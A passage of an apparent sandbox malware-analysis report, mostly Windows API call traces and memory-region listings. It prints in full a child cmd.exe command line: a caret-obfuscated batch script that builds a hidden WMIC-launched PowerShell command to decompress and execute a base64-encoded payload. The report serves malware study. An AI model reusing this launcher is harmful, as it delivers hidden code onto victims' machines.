CExposedDocFile::Release () returned 0x0 [0252.464] CExposedDocFile::Release () returned 0x0 [0252.465] IMalloc:Free (This=0x7feffc15380, pv=0xb719920) [0252.465] GetCurrentThreadId () returned 0x92c [0252.465] GetCurrentThreadId () returned 0x92c [0252.465] IUnknown:Release (This=0xb3fb250) returned 0x0 [0252.465] IUnknown:Release (This=0xb3fb300) returned 0x0 [0252.465] IMalloc:Free (This=0x7feffc15380, pv=0xb30c810) [0252.465] IMalloc:Free (This=0x7feffc15380, pv=0xb6d8740) [0252.465] IMalloc:Free (This=0x7feffc15380, pv=0x6fbbe00) [0252.465] IMalloc:Free (This=0x7feffc15380, pv=0x6fc2bc0) [0252.465] IMalloc:Free (This=0x7feffc15380, pv=0x6fbc140) [0252.465] IMalloc:Free (This=0x7feffc15380, pv=0x6fbbe80) [0252.465] IMalloc:Free (This=0x7feffc15380, pv=0x6fbbdc0) [0252.465] IMalloc:Free (This=0x7feffc15380, pv=0xb5f48f0) [0252.465] RtlLookupFunctionEntry (in: ControlPc=0x75e6bbc, ImageBase=0x28a2a0, HistoryTable=0x28a2c0 | out: ImageBase=0x28a2a0, HistoryTable=0x28a2c0) returned 0x0 [0252.465] RtlLookupFunctionEntry (in: ControlPc=0x7244264, ImageBase=0x28a2a0, HistoryTable=0x28a2c0 | out: ImageBase=0x28a2a0, HistoryTable=0x28a2c0) returned 0x0 [0252.465] RtlLookupFunctionEntry (in: ControlPc=0x724434c, ImageBase=0x28a2a0, HistoryTable=0x28a2c0 | out: ImageBase=0x28a2a0, HistoryTable=0x28a2c0) returned 0x0 [0252.466] RtlLookupFunctionEntry (in: ControlPc=0x72444b4, ImageBase=0x28a2a0, HistoryTable=0x28a2c0 | out: ImageBase=0x28a2a0, HistoryTable=0x28a2c0) returned 0x0 [0252.466] RtlLookupFunctionEntry (in: ControlPc=0x724459c, ImageBase=0x28a2a0, HistoryTable=0x28a2c0 | out: ImageBase=0x28a2a0, HistoryTable=0x28a2c0) returned 0x0 [0252.466] RtlLookupFunctionEntry (in: ControlPc=0x7245294, ImageBase=0x28a2a0, HistoryTable=0x28a2c0 | out: ImageBase=0x28a2a0, HistoryTable=0x28a2c0) returned 0x0 [0252.466] RtlLookupFunctionEntry (in: ControlPc=0x724537c, ImageBase=0x28a2a0, HistoryTable=0x28a2c0 | out: ImageBase=0x28a2a0, HistoryTable=0x28a2c0) returned 0x0 [0252.466] RtlLookupFunctionEntry (in: ControlPc=0x7242d3c, ImageBase=0x28a2a0, HistoryTable=0x28a2c0 | out: ImageBase=0x28a2a0, HistoryTable=0x28a2c0) returned 0x0 [0252.466] RtlLookupFunctionEntry (in: ControlPc=0x7242e1c, ImageBase=0x28a2a0, HistoryTable=0x28a2c0 | out: ImageBase=0x28a2a0, HistoryTable=0x28a2c0) returned 0x0 [0252.466] IMalloc:Free (This=0x7feffc15380, pv=0xb30c930) [0252.466] IMalloc:Free (This=0x7feffc15380, pv=0xb685940) [0252.466] IMalloc:Free (This=0x7feffc15380, pv=0xb0ebe00) [0252.466] IMalloc:Free (This=0x7feffc15380, pv=0xb0e8a40) [0252.466] RtlLookupFunctionEntry (in: ControlPc=0x7242ae8, ImageBase=0x28a2a0, HistoryTable=0x28a2c0 | out: ImageBase=0x28a2a0, HistoryTable=0x28a2c0) returned 0x7242b68 [0252.466] RtlLookupFunctionEntry (in: ControlPc=0x72457cc, ImageBase=0x28a2a0, HistoryTable=0x28a2c0 | out: ImageBase=0x28a2a0, HistoryTable=0x28a2c0) returned 0x724581c [0252.466] IMalloc:Free (This=0x7feffc15380, pv=0xb0edc30) [0252.466] IMalloc:Free (This=0x7feffc15380, pv=0xb0ec6a0) [0252.466] IMalloc:Free (This=0x7feffc15380, pv=0xb0ec250) [0252.466] IMalloc:Free (This=0x7feffc15380, pv=0xb0ed7e0) [0252.466] IMalloc:Free (This=0x7feffc15380, pv=0xb0ecaf0) [0252.466] RtlLookupFunctionEntry (in: ControlPc=0x75e6dac, ImageBase=0x28a2e0, HistoryTable=0x28a300 | out: ImageBase=0x28a2e0, HistoryTable=0x28a300) returned 0x75e6e00 [0252.466] RtlLookupFunctionEntry (in: ControlPc=0x72456dc, ImageBase=0x28a2e0, HistoryTable=0x28a300 | out: ImageBase=0x28a2e0, HistoryTable=0x28a300) returned 0x7245738 [0252.466] IMalloc:Free (This=0x7feffc15380, pv=0xb0ed390) [0252.466] IMalloc:Free (This=0x7feffc15380, pv=0xb54c9a0) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb5bacf0) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xaeb8580) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb614470) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb6143d0) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb614300) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb614200) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb613950) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb613880) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb62db30) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0x71ea3e0) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb5feba0) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb6dc6c0) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0x75f3190) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb07ac50) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xae85680) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb3fac70) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0x7569ed0) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb07a8f0) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb6ff3c0) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb07a950) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb07a9b0) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb07aa10) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb7001d0) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb07aa70) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb07aad0) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb07ab30) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb07abf0) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0x7569e10) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb97ed10) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb97eb10) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb97ead0) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb97ed70) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb97ed30) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb97fc10) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb97e150) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb97eb30) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xbad6a60) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb1b30c0) [0252.467] IMalloc:Free (This=0x7feffc15380, pv=0xb1b32a0) [0252.468] IMalloc:Free (This=0x7feffc15380, pv=0xb4eb080) [0252.468] IMalloc:Free (This=0x7feffc15380, pv=0xb2b9ef0) [0252.469] IMalloc:Realloc (This=0x7feffc15380, pv=0xb6fb680, cb=0x0) returned 0x0 [0252.469] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x7278400 [0252.469] IMalloc:Free (This=0x7feffc15380, pv=0xae72ca0) [0252.469] IMalloc:Free (This=0x7feffc15380, pv=0x7277ad0) [0252.469] IMalloc:Free (This=0x7feffc15380, pv=0xb07a530) [0252.469] IUnknown:Release (This=0xb3e3770) returned 0x0 [0252.469] IMalloc:Free (This=0x7feffc15380, pv=0xb719bc0) [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0x7117550) [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0xb6849e0) [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0x72785d0) [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0xb122380) [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0x7277ac0) [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0x7278400) [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0xae714c0) [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0x733c5a0) [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0xb70ab60) [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0xb709b10) [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0xb147030) [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0xb1453b0) [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0xb304230) [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0x7277da0) [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0x74ea440) [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0x7277c20) [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0xb708ab0) [0252.470] IUnknown:Release (This=0xb3e38d0) returned 0x0 [0252.470] IUnknown:Release (This=0xb3e3928) returned 0x1 [0252.470] IUnknown:Release (This=0xb3e3820) returned 0x0 [0252.470] IMalloc:Realloc (This=0x7feffc15380, pv=0xb5bad20, cb=0x0) returned 0x0 [0252.470] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x7277c20 [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0xae714b0) [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0x7278360) [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0xb5bad50) [0252.470] IUnknown:Release (This=0xb3e3928) returned 0x0 [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0xb71a3a0) [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0x7117ba0) [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0x7277b90) [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0xb122080) [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0x7278350) [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0x7277c20) [0252.470] IMalloc:Free (This=0x7feffc15380, pv=0xae72c90) [0252.471] IMalloc:Free (This=0x7feffc15380, pv=0x733c990) [0252.471] IMalloc:Free (This=0x7feffc15380, pv=0xb70af80) [0252.471] IMalloc:Free (This=0x7feffc15380, pv=0xb70abc0) [0252.471] IMalloc:Free (This=0x7feffc15380, pv=0xb145470) [0252.471] IMalloc:Free (This=0x7feffc15380, pv=0xb145530) [0252.471] IMalloc:Free (This=0x7feffc15380, pv=0xb3043e0) [0252.471] IMalloc:Free (This=0x7feffc15380, pv=0xb122100) [0252.471] wcsncpy_s (in: _Destination=0x28a1b0, _SizeInWords=0x108, _Source="*\\Z045db806b1", _MaxCount=0x106 | out: _Destination="*\\Z045db806b1") returned 0x0 [0252.471] CharLowerBuffW (in: lpsz="*\\Z045db806b1", cchLength=0xd | out: lpsz="*\\z045db806b1") returned 0xd [0252.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z045db806b1", cchWideChar=14, lpMultiByteStr=0x28a0e0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z045db806b1", lpUsedDefaultChar=0x0) returned 14 [0252.471] _wcsicmp (_String1="*\\Z045db806b1", _String2="*\\Z045db806b1") returned 0 [0252.476] IMalloc:Realloc (This=0x7feffc15380, pv=0xb70ba60, cb=0x0) returned 0x0 [0252.476] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xae72c80 [0252.476] IMalloc:Free (This=0x7feffc15380, pv=0xb604fd0) [0252.476] IMalloc:Free (This=0x7feffc15380, pv=0xb70b820) [0252.476] IMalloc:Free (This=0x7feffc15380, pv=0xb70bac0) [0252.476] IMalloc:Free (This=0x7feffc15380, pv=0x7118840) [0252.477] IMalloc:Free (This=0x7feffc15380, pv=0xb70b310) [0252.477] IMalloc:Free (This=0x7feffc15380, pv=0xb6851e0) [0252.477] IMalloc:Free (This=0x7feffc15380, pv=0xb30cb70) [0252.477] IMalloc:Free (This=0x7feffc15380, pv=0xae72c80) [0252.477] IMalloc:Free (This=0x7feffc15380, pv=0x72b38f0) [0252.477] IMalloc:Free (This=0x7feffc15380, pv=0x733cd80) [0252.477] IMalloc:Free (This=0x7feffc15380, pv=0x7569a50) [0252.477] IMalloc:Free (This=0x7feffc15380, pv=0xb1236c0) [0252.477] IMalloc:Free (This=0x7feffc15380, pv=0xb1235e0) [0252.478] GetCurrentThreadId () returned 0x92c [0252.478] GetCurrentThreadId () returned 0x92c [0261.663] SendMessageA (hWnd=0x202cc, Msg=0x10, wParam=0x0, lParam=0x0) returned 0x0 [0261.663] IsWindow (hWnd=0x0) returned 0 [0261.663] IsWindow (hWnd=0x0) returned 0 [0261.663] IsWindow (hWnd=0x0) returned 0 [0261.663] PeekMessageA (in: lpMsg=0x28d390, hWnd=0x202cc, wMsgFilterMin=0x1007, wMsgFilterMax=0x1007, wRemoveMsg=0x3 | out: lpMsg=0x28d390) returned 0 [0261.663] DestroyWindow (hWnd=0x202cc) returned 1 [0261.664] DeleteDC (hdc=0xffffffffdb0109f9) returned 1 [0261.664] IMalloc:Free (This=0x7feffc15380, pv=0xb05e8c0) [0261.664] IMalloc:Free (This=0x7feffc15380, pv=0xaeb7b30) [0261.664] IMalloc:Free (This=0x7feffc15380, pv=0xaeb82b0) [0261.664] IMalloc:Free (This=0x7feffc15380, pv=0x712aa00) [0261.665] IMalloc:Free (This=0x7feffc15380, pv=0x74fe7e0) [0261.665] IMalloc:Free (This=0x7feffc15380, pv=0xb3be830) [0261.665] WaitForSingleObject (hHandle=0xd74, dwMilliseconds=0x12c) returned 0x0 [0261.667] CloseHandle (hObject=0xd74) returned 1 [0261.667] IMalloc:Free (This=0x7feffc15380, pv=0xb5f2c80) [0261.667] IMalloc:Free (This=0x7feffc15380, pv=0x263b750) [0261.667] IMalloc:Free (This=0x7feffc15380, pv=0xb5f2460) [0261.667] IMalloc:Free (This=0x7feffc15380, pv=0xb5f2870) [0261.668] DllDebugObjectRPCHook () returned 0x1 [0261.686] FreeLibrary (hLibModule=0x7fee57c0000) returned 1 [0262.121] __clean_type_info_names_internal () returned 0x0 Thread: id = 37 os_tid = 0x0 Thread: id = 38 os_tid = 0xaa8 Thread: id = 39 os_tid = 0xaac Thread: id = 40 os_tid = 0xab8 Thread: id = 42 os_tid = 0xad0 Thread: id = 121 os_tid = 0x410 Thread: id = 305 os_tid = 0xa30 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x5cb67000" os_pid = "0xac0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x928" cmd_line = "cmd /c C%PrOGRaMFIlES:~ -7,1%D, , /V:On ,,/%aPPdAta:~-7,1% \" , (Se^T j1=^Ew-obje^ct I^o.c^OMp)& (^sET ^ ^J^F^O6=G^('VZBba8^IwGIb/^SpA^O^E^remtR5^Aix)&& (^s^e^t c^WSV=^A^rm^U)&& (Se^T ^ ^BW7=^XV)&( ,, , ,, (^SEt ^ C^ij=^vQN) , ,, )& (Set q^X=^i^I^))&&( , (^set ^ 8^i47=^ ^{`$_), ,, )&&(^s^Et ^ ^c^wH=^kqa02Wx^1/v^fFwy52+7z^fe^+)&& (^SEt ^q0^C^c=^9)&& (SE^T ^ ^OZ=.Co^MpR^ES)&( , , , ,, (s^E^T ^ ^ ^U19=e^a) , , )&( , (set ^8R=O) , )&&( ,(SE^T ^ ^xm=^h) )&& ( , (^s^e^t v^F=^s ^h^i^dDe), )& (S^e^t ^ep3A=^Q^OyR2U^JM)&(, ,, ,,(Se^T G1^yS=^4^oTe1Nn) , )&( (s^Et ^ r^Y=uqSZ^q^t^H7Njw) , )&( , , ,(S^E^T ^a^z8=N.^D^efLa^tesTR) , )& (^SET ^ b^1=^M^()&& (s^eT ^ D^RKS=FI^l^E^ -NoL^ogO )&& (^s^eT q^G=.^I)&& (^S^ET ^Rw=2ZZ^2)&& (S^Et G^Y=CA^C0g^IO)& ( (S^ET ^ e5^S=^`^$P^S^HO^ME[30]+'x'^)\"\"^\\\"\" ), , , )& (^se^t b^aCI=4k^Bwy)&& (,, , (sE^T ^ ^LK=f^R^o^m^ba), )&&(sE^t ^lPo=^([C^hAr]44^).T^oSTRIng)&& (, (s^Et Op^1=4) , )&&(se^T ^ ^E^f=a^f^tO^sH0^5)&(SE^T LI=foRE^ach^-)&&(^SeT ^ ^dv=D)&( , (Se^T ^ ^6rH^Y=^5+8) , ,, , , )&&( , , , (^Se^T ^ dn=Y/D^6) , )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ysTe^m.I^O.ME), ,,, , )&& ( ,(s^E^T ^ ^G5Q1=-^wINDO^w), )&( , ,, (s^ET 7z=o^CESs^ ) , )& (^SeT bO^q=^o^.stReAMRE^ADeR)&& ( , (Se^T ^DG=s^uB4) ,)&&( , (sE^t LI^j=^dap^D0) , )& (SE^t a^Xch=Ho^M^e)&& (S^Et ^ ^Z13= \"\"\\\"\"^(n)&&(, (s^ET e^q=^7) , , , )&& ( , (s^et eZ^P=o) , )&&( , (s^ET DQ=sHO^M^e) ,,, ,, )&& (s^ET ^ r^M=W^M^IC.)& ( (^SET uq^LY=]::^d^EC), , , )&& ( (s^ET ^ l^6e=b^1) , )&& (sE^t P^d^J6=[^2^1]^+$Ps)&&( ,(^SET ^ ^3B=0^dG^IO^e) ,, , , , )&& (^S^Et ^ Zz^t=g^klAj)&& (^sEt s^O= ^'CA^ll'^ ^'cRe^Ate^' \"\"^po)& (^SeT ^ q^2=0v^5W)&&(^se^T ^ ^A2=Ea^cH-^obj)&& ( ,(^SE^t ^ Co^Jf=^e) ,,,)&(^sEt ^ ^e^yWN=j^D8h)&&( ,(s^ET ^ ^z^RJ=^K5) , , )&& (^SeT J^6=^Fjr^iXLMf5)& ( , (s^ET ^ J^Z=1^z) ,, ,, , )&& (,(S^eT ^M^t=/D^+iA1Um^k6y^RKXmH) ,)&&( , ,,, , (^sEt 3^M^K^1=obj^ECt{nE^w^-o^bj^e), )& (se^T g^BQ=s^i)& (^seT ^ ^aMG=^u)& ( , ,, (^sE^T ^ ^aw^yI=^l) , )&( , (Se^t ^ ^ir^1^V=^h) )& (, , ,(S^Et uU^H=n^ ^ ^^^&^ ^(^ ), )&& ( , (S^Et o^JV=^^^|^ fOR),)&& (^S^e^t v^Z^c=$^p^S)&& (s^et ^ ^g^Vkp=^6)& ( , (SE^T ^CY=^4) , )&& (S^et 9c^u^B=^ )&& (se^t ^ ^Rz=^SS )&& (s^et ^ z^R=^G4G^u^tW)&&( , (se^T ^ gx^b=b^Yp) ,)& ( , (SE^t ^ ^a^g=z^P), )&&(, , , , , (S^eT sZ^G=Nt^Er^ac ^-), )& ( , (^sEt l^V^p=^OmPre^S^s^ ^)^ ) ,)& ( ,(^S^ET x^dNR=bg8^r^j), )&(,(s^E^T ^ l^R=^Ext^.eNcO) ,)&& (se^T ^ c^g=W^e^r^SH^e^ll^ -N^O)&& (^s^ET ^ OE^9^Q=DS^hyxy^yV2Apb^uy)&& ( (sET ^ Sq^5^s=Mo^RY^S^T^RE^a^m] ^[C^On^vER), )&& ( , (s^ET x^S=^re^ss^i), )& (S^eT p^v=^) \"\")&& ( , , , , ,(Se^t ^ I^G4^Q=^CT), )&&( , (S^ET ^ B^9s=^exe pR) ,)& (, (sE^T ^s^Hnp=0M^y), , , )&& (, (sE^T ^ ^Je=^m8) , )& (Se^t ^ bv=fa^qfNGZQobl^CJ^p)&&( , (se^T ^ q8=^v^v) , )&& (Se^T ^ ^S^l=Q^VH^cO8^e1hjBC^Xsd1^fexS2i)&& ( ,(s^ET ^ ^rj^UN=ni) , )& ( (SE^t ^H8^O=^QBL^9tiq^E^M^8^utN) ,, , )& (,(s^et bC^0=h^K) ,)&& ( , , ,, , (s^ET ^cI=^(^ ^`$^_\"\"\\\"\" ) , )&& (, ,, (^S^et ^ID=^21^]+), )&&(^sET ^ ^Dq4G=l^Ay^v^Y8Gg6lQqsD^4Yq^Rj^O)&& ( , (^SEt ^ Ea^u=S) , )&( ,(^s^Et ^Z^HTE=0^f), , , , , )&(^S^eT ^cN^Vz=^L1)& (^se^t ^oP8=p)& ( ,(^SeT ^ UQ7^k=^s^e64sTrIN), )&& (, , , , , (SE^T ^ ^7^2=^cP^V) , , , , ,)& (^SE^T ^cOyd=^RIng^(^) ^ )& (Se^T ^ X^j=+^ )&&( ,(S^eT ^Eh^p=^-ExEC^Ut ) , )& ( ,(^S^et ^h^g=+ \"\"\\\"\"[^sys^t^E^M^.^t), )& ( , (s^E^t ^ I1=W^A^Hn^u0^avhW^w^4c38X6) ,,, , ,)& (^seT ^ ^R5qC=^'^)^()& (, (SEt 3^C^he=^^^|) ,)&&(s^eT ^ HJ^VR=^ee57)&& (, (se^t ^ ^olr8=^}) , )& (,(S^Et ^I^r=^ON^.COmPR),)& (S^et ^3R^Y=^(^[ChA^r]44^))&(S^et cni^h=^E)&&(^s^eT 0^A=c^t S^Y^s^T^EM)&& (, (^Set ^ J^V^w=^od^E) , )&(^s^ET g^I=p^b^RXN^T^S)&& (^Set ^ us6=+00^z)& ( , , , (s^Et ^ C^d^J=A^p) ,)&& (SE^T bI^He=.T^oS^T)&(, (s^eT JG^A=T^]::), )&&(se^T ^ L^b=ho^M^E[34]+)&& ^sEt p^VZ=\"\"&(, (^seT ^ ^6vzH=a) , )&( , (S^eT ^u5=^E3Kyvr^/E) ,)&&( ,(^seT ^rp=^iN^G]::^aS^C), , , )& ( ,(Set m^Lwq=U^5^EyC^8^='^)\"\"\\\"\" + ), , , )&& (S^ET ^ ^bn=^)^ ^+ \"\"\\\"\"^[^IO)&( ,(S^eT ^ c^LM=M9^ArXoE^w),)& (Se^T ^ G^U=^^^|^ )&& (S^et ^ b^HT=[)&( , (s^Et c2^Q=.rE^ad^Toen^d^(^) }^)) ,, ,)&( ,(se^t ^i8T3=^(),)&& (sE^T ^0zSA=B0/^W^9pYXW^t^tmz3U^fr^So^a)&&( , , , (sE^t ^ Eh=Z^ttA), ,, ,, )& (^S^eT ^ ^ ^VDG=N^M)&(, (Se^T ^ D^vI=ES^sI^o) )&& ( (Se^t O^c^W^L= ^^^&^(^ ^`$),)&& (, , , , ,(SE^T 3^y=I^hv) , )&(^Set q^Xu=3^D^J^dlB6l^MtdrCqa^KOl0P)& (, ,,,,(^se^T ^ ^ ^Zb='^X) , , )&& , ca^LL ,, SeT q4j=%r^M%%B^9s%%7z%%s^O%%c^g%%^rj^UN%%sZ^G%%^Vp^05%%^8R%%D^RKS%%^Eh^p%%gx^b%%^6vzH%%^Rz%%9c^u^B%%^G5Q1%%v^F%%uU^H%%v^Z^c%%a^Xch%%P^d^J6%%L^b%%^Zb%%^R5qC%%^Z13%%j1%%x^S%%eZ^P%%^a^z8%%^U19%%b^1%%^AN%%Sq^5^s%%JG^A%%^LK%%UQ7^k%%^J^F^O6%%bv%%us6%%^c^wH%%c^WSV%%C^d^J%%G^Y%%^q0^C^c%%^e^yWN%%^Z^HTE%%G1^yS%%^ep3A%%^ir^1^V%%l^6e%%Zz^t%%^BW7%%LI^j%%^aMG%%I1%%J^6%%^cN^Vz%%C^ij%%b^aCI%%OE^9^Q%%J^Z%%^DG%%q^Xu%%^E^f%%x^dNR%%g^I%%3^y%%^S^l%%dn%%^7^2%%^H8^O%%q8%%^u5%%^s^Hnp%%^aw^yI%%c^LM%%^0zSA%%Op^1%%^Dq4G%%^Rw%%r^Y%%^z^RJ%%^g^Vkp%%bC^0%%^3B%%^a^g%%^6rH^Y%%^CY%%^M^t%%Ea^u%%" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 638 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 639 start_va = 0x70000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 640 start_va = 0x49d50000 end_va = 0x49da8fff entry_point = 0x49d50000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 641 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 642 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 643 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 644 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 645 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 646 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 647 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 649 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 650 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 651 start_va = 0x180000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 652 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 653 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 669 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 670 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 671 start_va = 0x280000 end_va = 0x2e6fff entry_point = 0x280000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 672 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 673 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 674 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 675 start_va = 0x7fee6880000 end_va = 0x7fee6887fff entry_point = 0x7fee6880000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 676 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 677 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 678 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 679 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 680 start_va = 0x50000 end_va = 0x56fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 681 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 682 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 683 